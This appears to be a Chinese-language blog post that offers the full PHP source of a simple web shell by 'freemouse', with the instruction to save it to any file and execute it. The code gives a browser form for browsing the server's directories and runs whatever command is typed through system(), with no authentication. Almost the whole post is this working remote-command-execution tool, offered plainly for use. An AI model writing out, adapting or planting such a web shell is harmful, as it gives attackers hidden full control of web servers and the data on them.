简单的php web shell
一个简单的php web shell 程序,保存到任意文件后执行
<?php /* ************************************************************** * PHP Web Shell * ************************************************************** */ ?> <html> <head> <title>PHP Web Shell - By freemosue</title> </head> <body> <h1>PHP Web Shell</h1> <?php /* 检测是否设置工作目录. */ if (isset($work_dir)) { /* 如果检测到工作目录则chdir到该目录. */ chdir($work_dir); $work_dir = exec("pwd"); } else { /* 没有设置工作目录 chdir到 $DOCUMENT_ROOT */ chdir($DOCUMENT_ROOT); $work_dir = $DOCUMENT_ROOT; } ?> <form name="myform" action="phpshell.php" method="post"> <p>当前工作目录: <b><? $work_dir_splitted = explode("/", substr($work_dir, 1)); /*echo $work_dir_splitted[0] ." ". $work_dir_splitted[1];*/ echo "<a href=\"phpshell.php?work_dir=" . urlencode($url) . "/&command=" . urlencode($command) . "\">根目录</a>/"; if ($work_dir_splitted[0] == "") { } else { for ($i = 0; $i < count($work_dir_splitted); $i++) { /* echo "i = $i";*/ $url .= "/".$work_dir_splitted[$i]; echo "<a href=\"phpshell.php?work_dir=" . urlencode($url) . "&command=" . urlencode($command) . "\">$work_dir_splitted[$i]</a>/"; } } ?></b></p> <p>选择新工作目录:</p> <select name="work_dir" onChange="this.form.submit()"> <? /* Now we make a list of the directories. */ $dir_handle = opendir($work_dir); /* 查找该目录下所有的文件和子目录. */ while ($dir = readdir($dir_handle)) { if (is_dir($dir)) { if ($dir == ".") { echo "<option value=\"$work_dir\" selected>当前目录</option>\n"; } elseif ($dir == "..") { /* 查找上级目录. 需要注意的是如果上级目录为root(/). */ if (strlen($work_dir) == 1) { } elseif (strrpos($work_dir, "/") == 0) { echo "<option value=\"/\">上级目录</option>\n"; } else { echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">上级目录</option>\n"; } } else { if ($work_dir == "/") { echo "<option value=\"$work_dir$dir\">$dir</option>\n"; } else { echo "<option value=\"$work_dir/$dir\">$dir</option>\n"; } } } } closedir($dir_handle); ?> </select> <p>命令:</p> <input type="text" name="command" size="60" <? if ($command) { echo "value=\"$command\"";} ?> > <input name="submit_btn" type="submit" value="执行命令"></p> <p>启用 <code>stderr</code>-键入 ? <input type="checkbox" name="stderr"></p> <p>输出:</p> <textarea cols="80" rows="20" readonly> <?php if ($command) { if ($stderr) { system($command . " 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/output.txt"); } else { system($command); } } ?> </textarea> </form> <hr> <i>版权所有 © 2010, <a href=mailto:fremouse1981@gmail.com>freemouse</a>. 作者网站 <a href=http://www.cnphp.info>www.cnphp.info</a>.</i> </body> </html>